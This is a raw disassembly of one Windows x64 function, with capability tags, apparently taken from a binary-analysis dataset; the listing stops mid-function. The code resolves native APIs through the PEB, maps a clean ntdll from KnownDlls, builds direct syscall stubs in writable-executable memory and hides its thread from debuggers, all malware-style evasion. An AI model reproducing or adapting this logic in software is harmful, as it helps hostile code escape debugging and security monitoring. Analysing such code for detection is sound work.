Function at 0x140047280
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Check for peb beingdebugged flag
Execute shellcode via indirect call
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x480]
sub rsp, 0x580
mov rax, qword [0x14006c010]
xor rax, rsp
mov qword [rbp + 0x470], rax
xor r15d, r15d
mov byte [rbp - 0x24], 0
xor eax, eax
mov qword [rbp], r15
lea rdi, [rbp + 0x50]
mov dword [rbp - 0x20], r15d
mov ecx, 0x104
mov dword [rbp + 0x20], 0xb8
rep stosb byte [rdi], al
lea rax, [rbp + 0x50]
mov dword [rbp + 0x24], 0xd18b4c00
mov word [rbp + 0x28], 0x50f
mov byte [rbp + 0x2a], 0xc3
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x60], r15
mov qword [rbp - 0x18], r15
mov dword [rsp + 0x7c], r15d
mov dword [rbp - 0x6c], r15d
cmp word [rbp + 0x50], r15w
je 0x14004731a
nop dword [rax]
add rax, 2
cmp word [rax], r15w
jne 0x140047310
mov r13d, 0x5c
lea rdx, str.KnownDlls_
movzx ecx, r13w
sub rdx, rax
nop
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x140047330
mov word [rax], r15w
lea rax, [rbp + 0x50]
cmp word [rbp + 0x50], r15w
je 0x14004735a
nop
add rax, 2
cmp word [rax], r15w
jne 0x140047350
lea rdx, [0x14005feb0]
mov ecx, 0x6e
sub rdx, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x140047370
mov word [rax], r15w
mov ecx, r15d
lea rax, [rbp + 0x50]
cmp word [rbp + 0x50], r15w
je 0x14004739e
inc ecx
lea rax, [rax + 2]
cmp word [rax], r15w
jne 0x140047392
add cx, cx
mov dword [rsp + 0x78], 0x30
mov word [rbp - 0x10], cx
lea rax, [rbp + 0x50]
mov qword [rbp - 8], rax
add cx, 2
mov word [rbp - 0xe], cx
lea rax, [rbp - 0x10]
movaps xmm0, xmmword [rbp - 0x10]
mov r14, r15
movdqa xmmword [rbp - 0x10], xmm0
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x80], r15
mov dword [rbp - 0x70], 0x40
mov qword [rbp - 0x78], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x5b0], rbx
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14004742d
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004741f
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x140047429
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x140047405
jmp 0x14004742d
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
lea rsi, str.ZwOpenSection
mov eax, 0x5a4d
test r9, r9
je 0x1400474d7
cmp word [r9], ax
jne 0x1400474d7
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x1400474d7
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x1400474d7
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x1400474d7
nop word [rax + rax]
mov eax, dword [rdi]
mov rcx, rsi
add rax, r9
je 0x1400474cb
movzx edx, byte [rax]
cmp dl, 0x5a
jne 0x1400474c1
sub rax, rsi
test dl, dl
je 0x1400474bc
cmp byte [rcx], r15b
je 0x1400474c1
movzx edx, byte [rax + rcx + 1]
inc rcx
cmp dl, byte [rcx]
je 0x1400474a5
jmp 0x1400474c1
cmp byte [rcx], r15b
je 0x14004751a
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x14004751a
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x140047490
mov r12, r15
mov rax, qword gs:[0x60]
mov r14, r15
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14004752f
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x140047510
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x14004752b
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400474f6
jmp 0x14004752f
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r12d, dword [rbx + rcx*4]
add r12, r9
jmp 0x1400474da
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
lea rsi, str.ZwMapViewOfSection
test r9, r9
je 0x1400475e7
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x1400475e7
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x1400475e7
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x1400475e7
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x1400475e7
mov ecx, dword [rdi]
mov rdx, rsi
add rcx, r9
je 0x1400475ca
movzx eax, byte [rcx]
cmp al, 0x5a
jne 0x1400475c0
sub rcx, rsi
test al, al
je 0x1400475bb
cmp byte [rdx], r15b
je 0x1400475c0
movzx eax, byte [rcx + rdx + 1]
inc rdx
cmp al, byte [rdx]
je 0x1400475a4
jmp 0x1400475c0
cmp byte [rdx], r15b
je 0x1400475d8
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x1400475d8
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x140047590
jmp 0x1400475e7
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r15d, dword [rbx + rcx*4]
add r15, r9
xor eax, eax
mov r14d, eax
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14004762d
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004761f
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x140047629
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x140047605
jmp 0x14004762d
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
lea r14, str.NtClose
test r9, r9
je 0x140047764
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x140047764
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x140047764
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x140047764
mov edi, dword [rax + 0x20]
xor esi, esi
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
mov r8d, esi
test r10d, r10d
je 0x140047764
nop dword [rax + rax]
mov eax, dword [rdi]
mov rcx, r14
add rax, r9
je 0x1400476db
movzx edx, byte [rax]
cmp dl, 0x4e
jne 0x1400476d1
sub rax, r14
test dl, dl
je 0x1400476cc
cmp byte [rcx], sil
je 0x1400476d1
movzx edx, byte [rax + rcx + 1]
inc rcx
cmp dl, byte [rcx]
je 0x1400476b5
jmp 0x1400476d1
cmp byte [rcx], sil
je 0x1400476e9
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x1400476e9
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x1400476a0
jmp 0x140047764
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov edi, dword [rbx + rcx*4]
add rdi, r9
je 0x140047764
test r15, r15
je 0x140047764
test r12, r12
je 0x140047764
lea r8, [rsp + 0x78]
mov edx, 4
lea rcx, [rsp + 0x60]
call r12
test eax, eax
js 0x140047764
mov rcx, qword [rsp + 0x60]
lea rax, [rbp - 0x18]
mov dword [rsp + 0x48], 2
lea r8, [rsp + 0x70]
mov dword [rsp + 0x40], esi
xor r9d, r9d
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rsi
lea rdx, [r9 - 1]
mov qword [rsp + 0x20], rsi
call r15
test eax, eax
js 0x140047764
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140047764
call rdi
mov rax, qword gs:[0x60]
xor edx, edx
mov r14d, edx
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400477ac
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004779c
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x1400477a6
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x140047782
jmp 0x1400477aa
lea r14, [rdi - 0x10]
xor edx, edx
mov rsi, qword [rsp + 0x70]
lea r15, str.ZwUnmapViewOfSection
test rsi, rsi
je 0x140047960
mov r14, qword [r14 + 0x30]
test r14, r14
je 0x140047960
mov r12d, 0x5a4d
cmp word [rsi], r12w
jne 0x140047872
mov eax, dword [rsi + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140047872
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x140047872
mov edi, dword [rax + 0x20]
mov r8d, edx
mov r10d, dword [rax + 0x24]
add rdi, rsi
mov r11d, dword [rax + 0x1c]
add r10, rsi
mov r9d, dword [rax + 0x14]
add r11, rsi
test r9d, r9d
je 0x140047872
lea rbx, str.NtSetInformationThread
mov eax, dword [rdi]
mov rcx, rbx
add rax, rsi
je 0x140047864
movzx edx, byte [rax]
cmp dl, 0x4e
jne 0x140047856
sub rax, rbx
test dl, dl
je 0x14004784d
cmp byte [rcx], 0
je 0x140047856
movzx edx, byte [rax + rcx + 1]
inc rcx
cmp dl, byte [rcx]
je 0x140047836
jmp 0x140047856
cmp byte [rcx], 0
je 0x1400478ec
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x1400478ec
inc r8d
add rdi, 4
cmp r8d, r9d
jb 0x140047821
xor edx, edx
mov r9, rdx
cmp word [r14], r12w
jne 0x14004791f
mov eax, dword [r14 + 0x3c]
cmp dword [rax + r14], 0x4550
jne 0x14004791f
mov eax, dword [rax + r14 + 0x88]
add rax, r14
je 0x14004791f
mov edi, dword [rax + 0x20]
mov r8d, edx
mov r11d, dword [rax + 0x24]
add rdi, r14
mov ebx, dword [rax + 0x1c]
add r11, r14
mov r10d, dword [rax + 0x14]
add rbx, r14
test r10d, r10d
je 0x14004791f
mov ecx, dword [rdi]
mov rdx, r15
add rcx, r14
je 0x140047911
movzx eax, byte [rcx]
cmp al, 0x5a
jne 0x140047907
sub rcx, r15
test al, al
je 0x140047902
cmp byte [rdx], 0
je 0x140047907
movzx eax, byte [rcx + rdx + 1]
inc rdx
cmp al, byte [rdx]
je 0x1400478d5
jmp 0x140047907
movsxd rax, r8d
movzx ecx, word [r10 + rax*2]
mov r9d, dword [r11 + rcx*4]
add r9, rsi
xor edx, edx
jmp 0x140047875
cmp byte [rdx], 0
je 0x140047940
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x140047940
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x1400478c1
xor edx, edx
mov rax, rdx
mov rdx, rsi
mov rcx, 0xffffffffffffffff
test r9, r9
jne 0x140047950
call rax
xor edx, edx
movzx r15d, dx
mov dword [rsp + 0x50], r15d
jmp 0x14004796d
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov eax, dword [rbx + rcx*4]
add rax, r14
jmp 0x140047922
movzx r15d, word [r9 + 4]
mov dword [rsp + 0x50], r15d
call rax
xor edx, edx
jmp 0x14004796d
mov r15d, edx
mov dword [rsp + 0x50], edx
mov r12d, 0x5a4d
xor eax, eax
mov word [rbp - 0x28], r15w
lea rdi, [rbp + 0x260]
mov qword [rbp - 0x18], rdx
mov ecx, 0x104
mov qword [rsp + 0x70], rdx
rep stosb byte [rdi], al
cmp word [rbp + 0x260], 0
lea rax, [rbp + 0x260]
mov qword [rbp - 0x10], rdx
mov dword [rbp - 0x54], edx
mov dword [rbp - 0x3c], edx
je 0x1400479b0
add rax, 2
cmp word [rax], 0
jne 0x1400479a6
lea rcx, str.KnownDlls_
sub rcx, rax
nop word [rax + rax]
mov word [rax], r13w
lea rax, [rax + 2]
movzx r13d, word [rcx + rax]
test r13w, r13w
jne 0x1400479c0
xor r13d, r13d
mov word [rax], r13w
lea rax, [rbp + 0x260]
cmp word [rbp + 0x260], r13w
je 0x1400479fa
nop dword [rax + rax]
add rax, 2
cmp word [rax], r13w
jne 0x1400479f0
lea rcx, [0x14005feb0]
mov edx, 0x6e
sub rcx, rax
nop dword [rax]
mov word [rax], dx
lea rax, [rax + 2]
movzx edx, word [rcx + rax]
test dx, dx
jne 0x140047a10
mov word [rax], r13w
mov ecx, r13d
lea rax, [rbp + 0x260]
cmp word [rbp + 0x260], r13w
je 0x140047a4c
nop dword [rax + rax]
inc ecx
lea rax, [rax + 2]
cmp word [rax], r13w
jne 0x140047a40
add cx, cx
mov dword [rbp - 0x58], 0x30
mov qword [rbp - 0x50], r13
lea rax, [rbp + 0x260]
mov qword [rsp + 0x68], rax
mov r14, r13
mov dword [rbp - 0x40], 0x40
lea rax, [rbp + 0x10]
mov qword [rbp - 0x48], rax
mov word [rsp + 0x60], cx
add cx, 2
mov word [rsp + 0x62], cx
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rbp + 0x10], xmm0
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x38], xmm0
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x140047ad9
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x140047acb
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x140047ad5
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x140047ab1
jmp 0x140047ad9
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
test r9, r9
je 0x140047b82
cmp word [r9], r12w
jne 0x140047b82
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x140047b82
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x140047b82
mov edi, dword [rax + 0x20]
mov r8d, r13d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x140047b82
lea rsi, str.ZwOpenSection
mov eax, dword [rdi]
mov rcx, rsi
add rax, r9
je 0x140047b76
movzx edx, byte [rax]
cmp dl, 0x5a
jne 0x140047b6c
sub rax, rsi
nop word [rax + rax]
test dl, dl
je 0x140047b67
cmp byte [rcx], r13b
je 0x140047b6c
movzx edx, byte [rax + rcx + 1]
inc rcx
cmp dl, byte [rcx]
je 0x140047b50
jmp 0x140047b6c
cmp byte [rcx], r13b
je 0x140047bc5
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x140047bc5
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x140047b35
mov r12, r13
mov rax, qword gs:[0x60]
mov r14, r13
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x140047bda
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x140047bbb
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x140047bd6
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x140047ba1
jmp 0x140047bda
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r12d, dword [rbx + rcx*4]
add r12, r9
jmp 0x140047b85
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
test r9, r9
je 0x140047c86
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x140047c86
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x140047c86
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x140047c86
mov edi, dword [rax + 0x20]
mov r8d, r13d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x140047c86
lea rsi, str.ZwMapViewOfSection
nop dword [rax + rax]
mov ecx, dword [rdi]
mov rdx, rsi
add rcx, r9
je 0x140047c7a
movzx eax, byte [rcx]
cmp al, 0x5a
jne 0x140047c70
sub rcx, rsi
test al, al
je 0x140047c6b
cmp byte [rdx], r13b
je 0x140047c70
movzx eax, byte [rcx + rdx + 1]
inc rdx
cmp al, byte [rdx]
je 0x140047c54
jmp 0x140047c70
cmp byte [rdx], r13b
je 0x140047cc9
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x140047cc9
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x140047c40
mov r15, r13
mov rax, qword gs:[0x60]
mov r14, r13
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x140047cde
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x140047cbf
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x140047cda
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x140047ca5
jmp 0x140047cde
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r15d, dword [rbx + rcx*4]
add r15, r9
jmp 0x140047c89
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
test r9, r9
je 0x140047e13
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x140047e13
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x140047e13
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x140047e13
mov edi, dword [rax + 0x20]
mov r8d, r13d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x140047e13
lea rsi, str.NtClose
nop word [rax + rax]
mov eax, dword [rdi]
mov rcx, rsi
add rax, r9
je 0x140047d8b
movzx edx, byte [rax]
cmp dl, 0x4e
jne 0x140047d81
sub rax, rsi
test dl, dl
je 0x140047d7c
cmp byte [rcx], r13b
je 0x140047d81
movzx edx, byte [rax + rcx + 1]
inc rcx
cmp dl, byte [rcx]
je 0x140047d65
jmp 0x140047d81
cmp byte [rcx], r13b
je 0x140047d99
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x140047d99
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x140047d50
jmp 0x140047e13
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov edi, dword [rbx + rcx*4]
add rdi, r9
je 0x140047e13
test r15, r15
je 0x140047e13
test r12, r12
je 0x140047e13
lea r8, [rbp - 0x58]
mov edx, 4
lea rcx, [rsp + 0x70]
call r12
test eax, eax
js 0x140047e13
mov rcx, qword [rsp + 0x70]
lea rax, [rbp - 0x10]
mov dword [rsp + 0x48], 2
lea r8, [rbp - 0x18]
mov dword [rsp + 0x40], r13d
xor r9d, r9d
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r13
lea rdx, [r9 - 1]
mov qword [rsp + 0x20], r13
call r15
test eax, eax
js 0x140047e13
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x140047e13
call rdi
mov rax, qword gs:[0x60]
mov r14, r13
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x140047e58
nop
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x140047e4a
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x140047e54
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x140047e30
jmp 0x140047e58
lea r14, [rdi - 0x10]
mov r10, qword [rbp - 0x18]
test r10, r10
je 0x140047fff
mov rbx, qword [r14 + 0x30]
test rbx, rbx
je 0x140047fff
mov r15d, 0x5a4d
cmp word [r10], r15w
jne 0x140047f1f
mov eax, dword [r10 + 0x3c]
cmp dword [rax + r10], 0x4550
jne 0x140047f1f
mov eax, dword [rax + r10 + 0x88]
add rax, r10
je 0x140047f1f
mov edi, dword [rax + 0x20]
mov r8d, r13d
mov r11d, dword [rax + 0x24]
add rdi, r10
mov esi, dword [rax + 0x1c]
add r11, r10
mov r9d, dword [rax + 0x14]
add rsi, r10
test r9d, r9d
je 0x140047f1f
lea r14, str.NtQueryInformationThread
nop word [rax + rax]
mov eax, dword [rdi]
mov rcx, r14
add rax, r10
je 0x140047f13
movzx edx, byte [rax]
cmp dl, 0x4e
jne 0x140047f05
sub rax, r14
test dl, dl
je 0x140047efc
cmp byte [rcx], r13b
je 0x140047f05
movzx edx, byte [rax + rcx + 1]
inc rcx
cmp dl, byte [rcx]
je 0x140047ee5
jmp 0x140047f05
cmp byte [rcx], r13b
je 0x140047f9d
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x140047f9d
inc r8d
add rdi, 4
cmp r8d, r9d
jb 0x140047ed0
mov r9, r13
cmp word [rbx], r15w
jne 0x140047fcc
mov eax, dword [rbx + 0x3c]
cmp dword [rax + rbx], 0x4550
jne 0x140047fcc
mov eax, dword [rax + rbx + 0x88]
add rax, rbx
je 0x140047fcc
mov edi, dword [rax + 0x20]
mov r8d, r13d
mov esi, dword [rax + 0x24]
add rdi, rbx
mov r14d, dword [rax + 0x1c]
add rsi, rbx
mov r11d, dword [rax + 0x14]
add r14, rbx
test r11d, r11d
je 0x140047fcc
lea r15, str.ZwUnmapViewOfSection
mov ecx, dword [rdi]
mov rdx, r15
add rcx, rbx
je 0x140047fc0
movzx eax, byte [rcx]
cmp al, 0x5a
jne 0x140047fb6
sub rcx, r15
test al, al
je 0x140047fb1
cmp byte [rdx], r13b
je 0x140047fb6
movzx eax, byte [rcx + rdx + 1]
inc rdx
cmp al, byte [rdx]
je 0x140047f86
jmp 0x140047fb6
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r9d, dword [rsi + rcx*4]
add r9, r10
jmp 0x140047f22
cmp byte [rdx], r13b
je 0x140047fe6
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x140047fe6
inc r8d
add rdi, 4
cmp r8d, r11d
jb 0x140047f72
mov rax, r13
mov rdx, r10
mov rcx, 0xffffffffffffffff
test r9, r9
jne 0x140047ff6
call rax
movzx r14d, r13w
jmp 0x140048002
movsxd rax, r8d
movzx ecx, word [rsi + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, rbx
jmp 0x140047fcf
movzx r14d, word [r9 + 4]
call rax
jmp 0x140048002
mov r14d, r13d
mov r12d, dword [rsp + 0x50]
mov r13d, 0xb
mov word [rsp + 0x60], r14w
test r12w, r12w
je 0x14004801f
test r14w, r14w
jne 0x140048084
mov al, byte [0x7ffe026c]
cmp al, 0xa
je 0x140048068
cmp al, 6
jne 0x14004805b
movzx ecx, byte [0x7ffe0270]
sub ecx, 1
je 0x14004805b
sub ecx, 1
je 0x14004804f
cmp ecx, 1
jne 0x140048068
lea r12d, [rcx + 0xb]
lea r14d, [rcx + 0x23]
jmp 0x140048074
movzx r12d, r13w
mov r14d, 0x23
jmp 0x140048074
mov r12d, 0xa
lea r14d, [r12 + 0x18]
jmp 0x140048074
mov r12d, 0xd
mov r14d, 0x25
mov word [rsp + 0x60], r14w
mov word [rbp - 0x28], r12w
mov dword [rsp + 0x50], r12d
xor eax, eax
mov r15d, eax
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400480ca
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400480bc
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x1400480c6
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400480a2
jmp 0x1400480ca
lea r15, [rdi - 0x10]
mov rsi, qword [r15 + 0x30]
test rsi, rsi
je 0x14004817f
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x14004817f
mov eax, dword [rsi + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x14004817f
mov edi, dword [rax + rsi + 0x88]
add rdi, rsi
je 0x14004817f
mov ebx, dword [rdi + 0x24]
mov r15d, dword [rdi + 0x1c]
add rbx, rsi
add r15, rsi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r9d, dword [rdi + 0x14]
mov r8d, eax
mov eax, 0x88888889
mul r8d
xor eax, eax
shr edx, 4
imul ecx, edx, 0x1e
mov edx, eax
sub r8d, ecx
mov ecx, eax
test r9d, r9d
je 0x14004817f
nop dword [rax + rax]
movzx eax, word [rbx]
mov edi, dword [r15 + rax*4]
add rdi, rsi
cmp byte [rdi], 0x4c
jne 0x140048174
cmp byte [rdi + 1], 0x8b
jne 0x140048174
cmp byte [rdi + 2], 0xd1
jne 0x140048174
cmp byte [rdi + 3], 0xb8
jne 0x140048174
cmp byte [rdi + 0x12], 0xf
jne 0x140048174
cmp byte [rdi + 0x13], 5
jne 0x140048174
inc edx
cmp edx, r8d
je 0x1400481b5
inc ecx
add rbx, 2
cmp ecx, r9d
jb 0x140048140
xor al, al
mov rbx, qword [rsp + 0x5b0]
mov rcx, qword [rbp + 0x470]
xor rcx, rsp
call fcn.1400559f0
lea r11, [rsp + 0x580]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
test rdi, rdi
je 0x14004817f
lea r9, [rbp - 0x20]
mov edx, 0x1024
mov r8d, 0x40
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, [rbp + 0x21]
lea rax, [rbp - 0x28]
cmp rcx, rax
jbe 0x1400481f0
lea rcx, [rbp + 0x21]
lea rax, [rbp - 0x26]
nop word [rax + rax]
movzx edx, byte [rbp - 0x27]
lea rax, [rbp + 0x30]
mov byte [rbp + 0x22], dl
mov ebx, 0x14
mov byte [rbp + 0x21], r12b
cmp rax, rdi
jbe 0x140048240
lea rax, [rdi + 0x14]
lea rcx, [rbp + 0x30]
cmp rcx, rax
jae 0x140048240
mov ecx, ebx
nop dword [rax + rax]
movzx eax, byte [rdi + rcx - 1]
mov byte [rbp + rcx + 0x2f], al
sub rcx, 1
jne 0x140048220
lea r12, [rdi + 0xa]
jmp 0x1400482d0
movzx eax, byte [rdi]
lea r12, [rdi + 0xa]
mov byte [rbp + 0x30], al
movzx eax, byte [rdi + 1]
mov byte [rbp + 0x31], al
movzx eax, byte [rdi + 2]
mov byte [rbp + 0x32], al
movzx eax, byte [rdi + 3]
mov byte [rbp + 0x33], al
movzx eax, byte [rdi + 4]
mov byte [rbp + 0x34], al
movzx eax, byte [rdi + 5]
mov byte [rbp + 0x35], al
movzx eax, byte [rdi + 6]
mov byte [rbp + 0x36], al
movzx eax, byte [rdi + 7]
mov byte [rbp + 0x37], al
movzx eax, byte [rdi + 8]
mov byte [rbp + 0x38], al
movzx eax, byte [rdi + 9]
mov byte [rbp + 0x39], al
movzx eax, byte [r12]
mov byte [rbp + 0x3a], al
movzx eax, byte [rdi + 0xb]
mov byte [rbp + 0x3b], al
movzx eax, byte [rdi + 0xc]
mov byte [rbp + 0x3c], al
movzx eax, byte [rdi + 0xd]
mov byte [rbp + 0x3d], al
movzx eax, byte [rdi + 0xe]
mov byte [rbp + 0x3e], al
movzx eax, byte [rdi + 0xf]
mov byte [rbp + 0x3f], al
movzx eax, byte [rdi + 0x10]
mov byte [rbp + 0x40], al
movzx eax, byte [rdi + 0x11]
mov byte [rbp + 0x41], al
movzx eax, byte [rdi + 0x12]
mov byte [rbp + 0x42], al
movzx eax, byte [rdi + 0x13]
mov byte [rbp + 0x43], al
lea rax, [rbp + 0x20]
cmp rdi, rax
jbe 0x140048310
lea rax, [rbp + 0x2b]
cmp rdi, rax
jae 0x140048310
mov rcx, r12
mov rdx, r12
sub rcx, rdi
inc rcx
nop
movzx eax, byte [rbp + rcx + 0x1f]
mov byte [rdx], al
lea rdx, [rdx - 1]
sub rcx, 1
jne 0x1400482f0
jmp 0x14004832d
mov r15d, dword [rsp + 0x50]
mov byte [rdi], 0xb8
mov byte [rdi + 1], r15b
mov byte [rdi + 2], dl
mov dword [rdi + 3], 0x8b4c0000
mov dword [rdi + 7], 0xc3050fd1
mov r9d, 0x999
lea r8, [rbp]
mov edx, 0x11
mov rcx, 0xfffffffffffffffe
call rdi
test eax, eax
jns 0x140048584
lea r15, [rbp + 0x20]
mov r11, r13
sub r15, rdi
mov r8, rdi
nop word [rax + rax]
movzx r9d, byte [r8]
movzx r10d, byte [r15 + r8]
lea eax, [r9 - 0x61]
cmp eax, 0x19
lea edx, [r9 - 0x20]
lea eax, [r10 - 0x61]
cmova edx, r9d
lea ecx, [r10 - 0x20]
cmp eax, 0x19
cmova ecx, r10d
cmp edx, ecx
jne 0x140048396
inc r8
sub r11, 1
jne 0x140048360
jmp 0x14004839f
cmp r9d, r10d
jne 0x140048584
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x11]
lea rcx, [r9 - 2]
call rdi
test eax, eax
js 0x14004817f
lea rcx, [rbp + 0x21]
lea rax, [rsp + 0x60]
cmp rcx, rax
jbe 0x1400483d0
lea rcx, [rbp + 0x21]
lea rax, [rsp + 0x62]
nop
